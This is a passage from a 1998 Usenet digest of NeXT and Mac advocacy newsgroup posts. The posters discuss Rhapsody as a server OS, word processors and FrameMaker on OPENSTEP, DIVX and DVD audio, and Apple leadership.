BTW: One thing that's absolutely missing from Frame 3.x is hierachical
paragraph formats. Is this still the way in 5.x?
Bye
Uli
_____________________________________________________________________
Uli Zappe E-Mail: uli@tallowcross.uni-frankfurt.de
(NeXTMail,Mime,ASCII) PGP on request
Lorscher Strasse 5 WWW: -
D-60489 Frankfurt Fon: +49 (69) 9784 0007
Germany Fax: +49 (69) 9784 0042
staff member of NEXTTOYOU - the German NEXTSTEP/OPENSTEP magazine
_____________________________________________________________________
From: "G_o_M_a_c Nicolas Krinis" <ndk@ eatnospaamnbnet.nb.ca>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Date: Sat, 25 Apr 1998 14:54:33 +0000
Organization: NDK
Message-ID: <6htbcc$kl9$2@garnet.nbnet.nb.ca>
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
----------
In article <353fd1c6.0@news.together.net>, "Lance Togar" <ltogar@msn.com>
wrote:
>Tom Elam wrote in message <353fa39d.26354803@news.newsguy.com>...
>>On 23 Apr 1998 15:54:42 GMT, macghod@concentric.net wrote:
>>
>>>Wooo hooo! My first posting under Openstep! I would like to thank all
>those
>>>who helped me get OPENSTEP PPP working. You know who you are :)
>>
>>Congratulations! It took all of 5 minutes for me to get Win 95 PPP set
up,
>>connected to my ISP and make my first post. (:
>>
>>
>..
>I knew this would come up sooner or later so, from an unopened letter from
a
>new ISP to a full connect (IP, DNS, etc) on my WINNT 4.0 Box:
>4 minutes.
>..
>..
>
>
What? 5 min. to config W95 for internet access? More like 20 minutes, even
if you know what you're doing:
There are a total of 6 steps to configurefrom the Dial-up adaptor , through
windows logon.......Gateway to Wins config.......through the bindings all
the way to creating a desktop alias:
Total mouseclicks: approximately 100.
For the Mac, choose modem, baud speed, select ppp...type password, username:
Total mouseclicks: about 10!
I have YET to config a W95 internet connection without hassle. IT SUCKS and
is highly representative of the redundancy of the OS. I pitty the newbie
that attemps it for the first time on his own...
Nicolas Krinis
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Apple (or Unix) equiv. to MCSE?
Message-ID: <1998042519561700.PAA27958@ladder03.news.aol.com>
Date: 25 Apr 1998 19:56:17 GMT
Organization: AOL http://www.aol.com
Does Apple have an equivalent to the Microsoft Certified Software Engineer
program?
What would be the equivalent for Unix?
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Strategy for Yellow Box to undermine Windows utility market
Message-ID: <1998042520001800.QAA28322@ladder03.news.aol.com>
Date: 25 Apr 1998 20:00:18 GMT
Organization: AOL http://www.aol.com
Here's a thought--if the Yellow Box libraries for Windows are to be free,
wouldn't it be rather chilling to the Windows utility market to release free
versions of all of the quick little applications which are so easy to develop
under Rhapsody?
Who'd want to buy YeahWrite or use WordPad if sWord was available?
Why buy a file manager if NeXplorer can be had?
Why bother with keyboard macros if LaunchBar can be had.
It seems to me that the wind could be taken out of the sails of the Windows
utility/shareware market thusly. Just a random thought.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: Fam.Traeger@t-online.de (=?ISO-8859-1?Q?Lars_Tr=E4ger?=)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: 25 Apr 1998 21:20:25 GMT
Organization: That hasn't stoped us from shipping Win'95
Message-ID: <6htk2p$7r5$2@news01.btx.dtag.de>
References: <no-2104982333090001@grv230155.columbus.rr.com> <blackstar-2204981924300001@a-206-59.sp.neu.edu> <6hnou5$spq$3@newsfep3.sprintmail.com> <joe.ragosta-2304981334240001@wil133.dol.net> <1d7xvti.k1mbbwpj1gvgN@p007.intchg3.net.ubc.ca>
Mime-Version: 1.0
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Bruce Bennett <bbennett@unixg.ubc.ca> wrote:
> Publishing, too, has its uses for a CLI unix (SGML, TeX, Lout, psutils,
> sed, uniq, &c.) -- and would be very pleased to have it available right
> alongside the Blue and Yellow Boxes at a competitive workstation-OS
> price.
I doubt that many publishing houses "just can't wait" for these tools,
they may not even use them when/if they arive. BTW for many of those
tools you neither need CLI nor unix.
Lars T.
From: "Brian Vito" <bvito@tiac.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.software
Subject: WriteUp/PasteUp good?
Date: Sat, 25 Apr 1998 18:10:37 -0400
Organization: The Internet Access Company, Inc.
Message-ID: <01HW.B167D79D0001F08506719BD0@news.tiac.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
I just purchased OPENSTEP 4.2 (running on Intel) and, of course, I need a word
processor, and a page layout tool is always good. What's the best? I know
that WriteUp/PasteUp are still being developed and supported, but are they the
best tools?
What about FrameMaker (ever on intel), WordPerfect, OpenWrite, WriteNow, etc.?
Please help me decide (I'm on a limited budget) - email me please, don't post.
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AMP, DVD, HDTV, and Titanic
Date: Sat, 25 Apr 1998 16:01:41 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2504981601410001@sf-usr1-55-183.dialup.slip.net>
References: <01bd6e3f$00eed8d0$04387880@test1> <gmgraves-2304980930580001@sf-pm5-13-77.dialup.slip.net> <6hqqqd$k1a@nntp02.primenet.com>
In article <6hqqqd$k1a@nntp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> George Graves <gmgraves@slip.net> wrote:
> : Unfortunately, Fox and Paramount, Titanic's producers, have apparently
> : decided to release the film as DIVx disk. This idiotic format, for those
> : who haven't heard, is a cross between DVD and pay-per-view cable. It
> : will (ostensibly) work like this: You buy a DIVx equipped player (no,
> : currently available DVD players won't work), and hook it to your
> : telephone line. When you buy a DIVx disk, you own only the disk itself.
> : You do not own VIEWING rights to the movie on the disk! Each time you
> : view it, the player authorizes a view, and stores the viewing information.
> : In the middle of the night, the player dials an 800 number and uploads the
> : viewing information. Then you get a bill for $3-5 a pop for watching the
> : [...]
>
> If they're charging for the view, they can mail out the CDs for free like
> AOL starter kits ...
>
> That could work.
The current plans are for the discs to be sold right along with DVD discs
for $5-$10. Then you get to pay more to actually watch 'em. YECCHHHHH!
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AMP, DVD, HDTV, and Titanic
Date: Sat, 25 Apr 1998 16:03:11 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2504981603110001@sf-usr1-55-183.dialup.slip.net>
References: <01bd6e3f$00eed8d0$04387880@test1> <3540ecbc.17801346@news.prosurfr.com>
In article <3540ecbc.17801346@news.prosurfr.com>,
jsavard@teneerf.edmonton.ab.ca (John Savard) wrote:
> "Todd Heberlein" <todd@NetSQ.com> wrote:
>
> >o DVD, while providing better audio and video than VHS, is still
> >designed around PAL and NTSC output and does not support HDTV
> >formats.
>
> DVD does support the higher aspect ratio of HDTV and the format also
> allows higher speed disks with higher resolutions.
The STANDARD supports them, but no currently available players or
discs can output an HDTV signal.
George Graves
From: paxon@uclink4.berkeley.edu (Paxon Hou)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: Sat, 25 Apr 1998 15:24:20 -0800
Organization: Pacific Bell Internet Services
Message-ID: <paxon-2504981524200001@ppp-206-170-3-149.okld03.pacbell.net>
References: <no-2104982333090001@grv230155.columbus.rr.com> <blackstar-2204981924300001@a-206-59.sp.neu.edu> <6hnou5$spq$3@newsfep3.sprintmail.com> <joe.ragosta-2304981334240001@wil133.dol.net> <1d7xvti.k1mbbwpj1gvgN@p007.intchg3.net.ubc.ca> <joe.ragosta-2304982050200001@elk70.dol.net> <slrn6k42m1.42p.mwoodbri@xantia.videon.wave.ca>
In article <slrn6k42m1.42p.mwoodbri@xantia.videon.wave.ca>,
mwoodbri@xantia.videon.wave.ca (Matthew Woodbridge) wrote:
]
] One other thing: I don't believe that Rhapsody is going to be 64-bit when
] first introduced; AIX, Digital UNIX, HP-UX, IRIX and Solaris already are.
] But of course, one requires a 64-bit processor in order to have a 64-bit
] operating system. When is a 64-bit PowerPC coming?
The PowerPC 620 is a 64 bit processor. I believe IBM uses it in some
workstations.
--
Paxon Hou
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AMP, DVD, HDTV, and Titanic
Date: Sat, 25 Apr 1998 15:59:15 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2504981559160001@sf-usr1-55-183.dialup.slip.net>
References: <01bd6e3f$00eed8d0$04387880@test1> <gmgraves-2304980930580001@sf-pm5-13-77.dialup.slip.net> <6hp87t$oh3$7@ha2.rdc1.sdca.home.com> <gmgraves-2404980943220001@sf-usr1-30-158.dialup.slip.net> <6hrikq$j3g$2@ha2.rdc1.sdca.home.com>
In article <6hrikq$j3g$2@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
> So what we have here is the VHS killer.app! I can go with that as long as
> Don't need no stinking $6000 HDTV viewer!
No, you don' need no STEENKIN' HDTV!
>
> The technical backgound illuminates the Industry DVD advantages. It's a push
> for video. Audio has me confused. DVD 2nd generation discs are doing 24 bit
> / 96 Hz. Though this is techno-illusion from the historical wealth of
content
> created on analog and 16 bit, I detect a crack in CD's lock on the audio
> market. WhazUp with dat?
Just as there are various standards (red book, blue book etc.) for CD used
for various purposes, there are different standards for DVD. Originally
called 'Digital Video Disc', it has now been changed to 'Digital VERSATILE
Disc' due to the fact that it can be used for computer data, movies AND
audio. Because of its incredible storage capacity, DVD can do something
that CD could never do: 24 bit, 96 KHz sampling rate and STILL give you
incredible playing time. This is the new audio DVD standard that has
recently been hashed-out by a committee of a number of players in the
record industry. We will all need new CD players of course (luckily they
will be backward compatible with our present CD collections), but the
up side is that finally, digital sound MIGHT begin to approach analog in
quality. Time will tell.
George Graves
From: echo4@NOSPAM.idt.net --delete NOSPAM
Newsgroups: comp.sys.next.advocacy,comp.sys.next.software
Subject: Re: WriteUp/PasteUp good?
Date: 25 Apr 1998 23:20:40 GMT
Organization: IDT
Message-ID: <6htr48$4eq@nnrp3.farm.idt.net>
References: <01HW.B167D79D0001F08506719BD0@news.tiac.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: bvito@tiac.net
In <01HW.B167D79D0001F08506719BD0@news.tiac.net> "Brian Vito" wrote:
> I just purchased OPENSTEP 4.2 (running on Intel) and, of course, I need a
word
> processor, and a page layout tool is always good. What's the best? I know
> that WriteUp/PasteUp are still being developed and supported, but are they
the
> best tools?
> What about FrameMaker (ever on intel), WordPerfect, OpenWrite, WriteNow,
etc.?
> Please help me decide (I'm on a limited budget) - email me please, don't
post.
>
>
OpenWrite is free, you can pick up a 2 user license on Peak. WordPerfect, I
wasn't able to get a copy, so I am not sure about and WriteNow ( was never
supported on Intel hardware). You can try to download a demo version of
FrameMaker and see if you like it and maybe, someone will sell you their
license. Again, Adobe is not selling FrameMaker3.2 to NeXT users. WriteUp
is OK, is pretty good and it does support convert some WordPerfect and Word
files. My Personal favorite is CedarWord. It is not very expensive and it
does the job very well. It cost about 30 Pounds, I think that translates to
about $45-50 US. It was worth every cent. It has (although some users will
not agree with me) a clean UI. Kind of like Wordperfect 3.0 for Macintosh.
Anyway, I suggest downloading the demos and trying them out before you go
ahead try to buy. The only supported word processor that is still suppported
is WriteUP and CedarWord. Everything else is gone. I use a combination of
OpenWrite and CedarWord to word process. I use OpenWrite to Convert files
and save them in RTF to be used later with CedarWord (CedarWord does not
import MS Word files, although future support will include such a function),
this serve me very well.
I also suggest investing in SuperDraw4.0 before they stop selling it again.
Jay Lee
echo4@NOSPAM.idt.net --delete NOSPAM
NeXTMail & MIME OK!
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AMP, DVD, HDTV, and Titanic
Date: 25 Apr 1998 23:29:54 GMT
Organization: @Home Network
Message-ID: <6htrli$sqh$1@ha2.rdc1.sdca.home.com>
References: <01bd6e3f$00eed8d0$04387880@test1> <gmgraves-2304980930580001@sf-pm5-13-77.dialup.slip.net>
<6hp87t$oh3$7@ha2.rdc1.sdca.home.com> <gmgraves-2404980943220001@sf-usr1-30-158.dialup.slip.net>
<6hrikq$j3g$2@ha2.rdc1.sdca.home.com> <gmgraves-2504981559160001@sf-usr1-55-183.dialup.slip.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: gmgraves@slip.net
In <gmgraves-2504981559160001@sf-usr1-55-183.dialup.slip.net> George Graves
wrote:
> In article <6hrikq$j3g$2@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
>
> > So what we have here is the VHS killer.app! I can go with that as long as
> > Don't need no stinking $6000 HDTV viewer!
>
> No, you don' need no STEENKIN' HDTV!
>
Kool
> >
> > The technical backgound illuminates the Industry DVD advantages. It's a
push
> > for video. Audio has me confused. DVD 2nd generation discs are doing 24
bit
> > / 96 Hz. Though this is techno-illusion from the historical wealth of
> content
> > created on analog and 16 bit, I detect a crack in CD's lock on the audio
> > market. WhazUp with dat?
>
> Just as there are various standards (red book, blue book etc.) for CD used
> for various purposes, there are different standards for DVD. Originally
> called 'Digital Video Disc', it has now been changed to 'Digital VERSATILE
> Disc' due to the fact that it can be used for computer data, movies AND
> audio. Because of its incredible storage capacity, DVD can do something
> that CD could never do: 24 bit, 96 KHz sampling rate and STILL give you
> incredible playing time. This is the new audio DVD standard that has
> recently been hashed-out by a committee of a number of players in the
> record industry. We will all need new CD players of course (luckily they
> will be backward compatible with our present CD collections), but the
> up side is that finally, digital sound MIGHT begin to approach analog in
> quality. Time will tell.
>
>
Whoa... The Industry gets to sell it thrice. Vinyl + DVD on the high end, CD
mainstream and tape low-end. I want a 24/96 recording deck... :-) And you
are telling me that DVD isn't comressing the hell out of source on the fly?
This is a 1:1 copy? They can stratify even further by discounting comressed
discs and charging up the whazoo for a master 1:1.
It getting interesting... thanks very much for sorting out the situation for
me. Thanks.
-r
Rex Was a wannabe Audiophile Riley
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 25 Apr 1998 23:42:24 GMT
Organization: The Avant-Garde of the Now, Ltd.
Message-ID: <slrn6k4t6v.5e0.mbkennel@lyapunov.ucsd.edu>
References: <see-below-2204982044230001@209.24.241.227> <B164DB39-6C834@206.165.43.25> <joe.ragosta-2304981555560001@wil124.dol.net> <354185ca.0@news.camtech.net.au>
On Sat, 25 Apr 1998 16:16:50 +0930, Timothy Priest <timothyp@tne.net.au> wrote:
:Come on Joe. Announcements of Product developments and "simplification" of
:product lines were made well before Steve took-the-reigns. Yet Steve implies
:that he masterminded the whole deal. Likewise the deal with M$. There were
:definitely rumours of Gil meeting with Bill well before Steve's supposed
:spur-of-the-moment contact with Bill.
Well, Greg Maffei, one of Microsoft's topmost executives credits a long walk
with a "barefoot" Steve Jobs at his Palo Alto house as being the catalyst of
the deal.
Nobody from Microsoft's end ever says "we almost had it in the bag with Amelio,
and Jobs just signed on the dotted line."
About that same time period, Bill Gates says, "Steve Jobs is one hundred
times smarter than Gil Amelio."
I do believe that Amelio is better than Spindler and sugar-water Sculley.
But...
:Steve is definitely right for the job at the moment, but let's not vilify Gil
:noe Canonise Steve just yet. I tend to thing Avie and John have a s... load to
:do with Apple's moving in the right direction. But then they are not the
:"leaders" are they? Maybe they should be!
Please, No! They are needed in their present jobs more than Apple needs a
CEO. They deserve a big bonus, condtioned on staying for four more years.
BTW, who first hired Tevanian and Rubenstein? Steve Jobs---at NeXT, Inc.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: 25 Apr 1998 23:42:46 GMT
Organization: @Home Network
Message-ID: <6htsdm$sqh$2@ha2.rdc1.sdca.home.com>
References: <no-2104982333090001@grv230155.columbus.rr.com> <blackstar-2204981924300001@a-206-59.sp.neu.edu>
<6hnou5$spq$3@newsfep3.sprintmail.com> <joe.ragosta-2304981334240001@wil133.dol.net>
<1d7xvti.k1mbbwpj1gvgN@p007.intchg3.net.ubc.ca> <joe.ragosta-2304982050200001@elk70.dol.net>
<slrn6k42m1.42p.mwoodbri@xantia.videon.wave.ca>
Mime-Version: 1.0
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Cc: mwoodbri@xantia.videon.wave.ca
In <slrn6k42m1.42p.mwoodbri@xantia.videon.wave.ca> Matthew Woodbridge wrote:
> I don't believe that Rhapsody is going to be 64-bit when
> first introduced; AIX, Digital UNIX, HP-UX, IRIX and Solaris already are.
> But of course, one requires a 64-bit processor in order to have a 64-bit
> operating system. When is a 64-bit PowerPC coming? More importantly,
> when is symetric multiprocessing coming for Rhapsody? I think that's
> pretty darned important. A pretty half-assed UNIX Rhapsody is, if you
> ask me.
>
>
Apple has categorized Rhapsody as a full blown ServerOS. Scheduled is SMP and
what good is a ServerOS without a 64bit processor to go with it? They've
already toasted Intel so I expect Chiat-Day has a roast planned for Sun, HP
and IBM too ;-) Stay tuned...
-r
From: Avery Ray Colter <avery@ccnet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Sat, 25 Apr 1998 17:55:28 -0700
Organization: Verio Northern California's Usenet News Service
Message-ID: <354285FB.35212A1F@ccnet.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <hi-3108560220260001@1cust162.tnt3.sea1.da.uu.net> <3541A0F8.310E450@nkn.net> <joe.ragosta-2504980741430001@elk45.dol.net>
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Joe Ragosta wrote:
> In article <3541A0F8.310E450@nkn.net>, rkirkmcp@nkn.net wrote:
>
> I think he was referring to the rumored "eMac"--which would run some sort
> of Mac OS lite. If this beast even exists, it would be the next family of
> Newton products.
>
Why would it have to be "lite"? I mean, why not just have them run System 6 or one
of the older MacOS versions?
The original Macs ran on 128k of RAM for goodness' sake; MacOS has evolved from
that point. We don't have any need of making a "CE" version of MacOS.
--
Avery Ray Colter avery@ccnet.com
Voice: (925) 671-8024 FAX: (925) 671-6959
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: Sat, 25 Apr 1998 19:19:14 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2504981919150001@pm3a15.rmac.net>
References: <no-2104982333090001@grv230155.columbus.rr.com> <blackstar-2204981924300001@a-206-59.sp.neu.edu> <6hnou5$spq$3@newsfep3.sprintmail.com> <joe.ragosta-2304981334240001@wil133.dol.net> <1d7xvti.k1mbbwpj1gvgN@p007.intchg3.net.ubc.ca> <joe.ragosta-2304982050200001@elk70.dol.net> <slrn6k42m1.42p.mwoodbri@xantia.videon.wave.ca>
In article <slrn6k42m1.42p.mwoodbri@xantia.videon.wave.ca>,
mwoodbri@xantia.videon.wave.ca (Matthew Woodbridge) wrote:
> One other thing: I don't believe that Rhapsody is going to be 64-bit when
> first introduced; AIX, Digital UNIX, HP-UX, IRIX and Solaris already are.
Which version of Solaris is 64 bit? As far as I know, the only version of
Solaris that is 64 bit is 2.7...which is as yet unreleased.
Josh
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 25 Apr 1998 19:26:17 -0600
Organization: XMission Internet (801 539 0852)
Message-ID: <6hu2fp$sve$1@xmission.xmission.com>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net>
In comp.sys.next.advocacy Joe Ragosta <joe.ragosta@dol.net> wrote:
: The number of developers who have embraced Rhapsody is many times the
: number who ever embraced OpenDoc. Yet Rhapsody hasn't even been released
: yet and OpenDoc was out for years.
Apple had convinced several big guns to partner with them on OpenDoc.
There were real products being built with OpenDoc at Lotus, Novell, and
WordPerfect.
Rhapsody currently has the support of exactly zero first-tier
industry partners.
.........kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: but what about FrameMaker?
Date: 25 Apr 1998 19:41:04 -0600
Organization: XMission Internet (801 539 0852)
Message-ID: <6hu3bg$vj$1@xmission.xmission.com>
References: <6ho20l$8gj@tallowcross.uni-frankfurt.de> <6hoa4m$p96$1@xmission.xmission.com> <6ht1e6$343@tallowcross.uni-frankfurt.de>
Uli Zappe <uli@tallowcross.uni-frankfurt.de> wrote:
: Kristofer Jon Magnusson <kris@xmission.xmission.com> wrote:
: > It's just as bad as all the other versions. =) And I would settle for that
: > UI, plus the 5.1.1 deltas over the 3.2 version that was last shipped.
: I certainly wouldn't. NEXTSTEP/Rhapsody, more than any other OS, needs a GUI
: tailored to its advantages.
: If FrameMaker GUIs are that bad all across the different OS's, then it should
: be compelling to start changing this even more ;-)
The sucky GUI is not a showstopper for anyone but look-and-feel bigots. =)
The GUI may suck, but the suckiness of the GUI is a minor issue compared
to the benefits of the GUI consistency of Frame across platforms for
reducing training costs.
Enhancing the GUI for all platforms is a better idea, but it will
still cause a lot of retraining, and even then an enhanced GUI is not
going to meet the expectations of L&F bigots. I'm not a big fan of LCD
interfaces, but they have their place, and a crossplatform publishing
packages is one of those places.
I might purchase a FrameMaker version for Rhapsody that has a
different GUI than the one for Windows, Sun, and Macintosh. But my company
would hesitate to purchase Frame for Rhapsody if it meant sending 120
people to training to learn the Rhapsody GUI, the way it did when we
switched from FrameMaker on NeXT hardware to FrameBuilder on Windows. Not
all tech writers are as flexible as programmers.
: BTW: One thing that's absolutely missing from Frame 3.x is hierachical
: paragraph formats. Is this still the way in 5.x?
Yes. There is the "para tag after" construct, but that isn't what I
think you mean by hierarchical para formats, such as "every 1Heading
should be followed by a 1Body, and every 2Heading should be followed by a
2Body," and where if you change a 1Heading tag to a 2Heading tag, the
1Body changes to a 2Body. If you mean something else, then it still isn't
in there. =)
............kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
Date: Sat, 25 Apr 1998 22:42:32 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Message-ID: <joe.ragosta-2504982242330001@elk39.dol.net>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <hi-3108560220260001@1cust162.tnt3.sea1.da.uu.net> <3541A0F8.310E450@nkn.net> <joe.ragosta-2504980741430001@elk45.dol.net> <354285FB.35212A1F@ccnet.com>
In article <354285FB.35212A1F@ccnet.com>, avery@ccnet.com wrote:
> Joe Ragosta wrote:
>
> > In article <3541A0F8.310E450@nkn.net>, rkirkmcp@nkn.net wrote:
> >
> > I think he was referring to the rumored "eMac"--which would run some sort
> > of Mac OS lite. If this beast even exists, it would be the next family of
> > Newton products.
> >
>
> Why would it have to be "lite"? I mean, why not just have them run
System 6 or one
> of the older MacOS versions?
> The original Macs ran on 128k of RAM for goodness' sake; MacOS has
evolved from
> that point. We don't have any need of making a "CE" version of MacOS.
Software.
All current Mac software is PPC and the next generation will be Yellow
Box. Neither will go very well with System 6.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 25 Apr 1998 22:43:37 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Message-ID: <joe.ragosta-2504982243370001@elk39.dol.net>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com>
In article <6hu2fp$sve$1@xmission.xmission.com>, Kristofer Jon Magnusson
<kris@xmission.xmission.com> wrote:
> In comp.sys.next.advocacy Joe Ragosta <joe.ragosta@dol.net> wrote:
>
> : The number of developers who have embraced Rhapsody is many times the
> : number who ever embraced OpenDoc. Yet Rhapsody hasn't even been released
> : yet and OpenDoc was out for years.
>
> Apple had convinced several big guns to partner with them on OpenDoc.
> There were real products being built with OpenDoc at Lotus, Novell, and
> WordPerfect.
All of whom dropped the ball.
>
> Rhapsody currently has the support of exactly zero first-tier
> industry partners.
And your point is?
If Lotus, Novell, and IBm are going to drop the ball they way they did on
OpenDoc, who needs them?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: hi@no.spam.e-mail.thanks.a.lot.see.sig.for.address (Carl Bond)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 26 Apr 1998 03:39:50 GMT
Organization: A wee lone soul with a Macintosh for power...
Message-ID: <hi-2808560355430001@1cust238.tnt8.krk1.da.uu.net>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <hi-3108560220260001@1cust162.tnt3.sea1.da.uu.net> <3541A0F8.310E450@nkn.net>
In article <3541A0F8.310E450@nkn.net>, rkirkmcp@nkn.net wrote:
| > I'll trade for a color Newton any day, if Intel owns my precious chips.
| > (At least, that's the rumor. The next family of Newtons will soon have
| > color.)
| >
|
| Next family? Carl, the Newton got axed. There is no current development
for any
| *next generation* products. Apple hasn't even agreed to license the thing to
| anyone. The chances of the newton making a comeback are slim to none -- Apple
| just doesn't have the resources to throw at it's development. I, for one, am
| surprised Apple's funding of MkLinux hasn't gotten axed, too.
|
| Kirk
Yeah, I said it was a rumor, didn't I...??
About using color... a eMate design...
Ooops, I'm starting to drool again! (O:
--
"I urge you to be different. I urge you to buy Macintosh. You'll
personally reap the benefits and you'll have great strength. Enjoy."
<Carl Bond> <cbond@earthlink.net>
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: Sat, 25 Apr 1998 21:17:55 -0700
Message-ID: <see-below-2504982117550001@209.24.240.182>
References: <nagleEryE4s.HLD@netcom.com> <B1676563-115D2@206.165.43.106>
In article <B1676563-115D2@206.165.43.106>, "Lawson English"
<english@primenet.com> wrote:
> John Nagle <nagle@netcom.com> said:
>
> > Servers need things like clustering support, hot-plugging, alarms,
> > stall timers, and such, none of which Apple has ever done.
> >
>
>
>
> I thought that their AUX line of servers did all that, and really well. Was
> I wrong?
Hmm. Are you thinking of their AIX servers? In that case, it was IBM's
operating system, not Apple's. But I don't know, perhaps AUX had some such
support as well.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: hi@no.spam.e-mail.thanks.a.lot.see.sig.for.address (Carl Bond)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 26 Apr 1998 03:45:40 GMT
Organization: A wee lone soul with a Macintosh for power...
Message-ID: <hi-2808560401340001@1cust238.tnt8.krk1.da.uu.net>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <hi-3108560220260001@1cust162.tnt3.sea1.da.uu.net> <3541A0F8.310E450@nkn.net> <joe.ragosta-2504980741430001@elk45.dol.net> <slrn6k43tj.pe0.sal@panix3.panix.com>
In article <slrn6k43tj.pe0.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
| On Sat, 25 Apr 1998 07:41:42 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
| >I think he was referring to the rumored "eMac"--which would run some sort
| >of Mac OS lite. If this beast even exists, it would be the next family of
| >Newton products.
|
| Next family of "newton-like" products. It won't be a newt and I doubt
| it will run newton software. (Any chance of a deep-green box to run Newton
| Apps on Rhapsody?)
|
| And the eMac is just a rumor and some doctored photos on web sites. If
| Apple couldn't build a $500 newt portible (newtOS has 1/10 the hardware
| requirements as MacOS) what makes you so sure that they can build a $500
| Mac portible?
Well, let's see... "scrap the current design, we'll use a Motorola chip
that's $100 less than the StrongARM chip... motherboard will be made by
IBM, that's another $100 less..."
That is, if all that stuff really is true... Hmmm...
--
"I urge you to be different. I urge you to buy Macintosh. You'll
personally reap the benefits and you'll have great strength. Enjoy."
<Carl Bond> <cbond@earthlink.net>
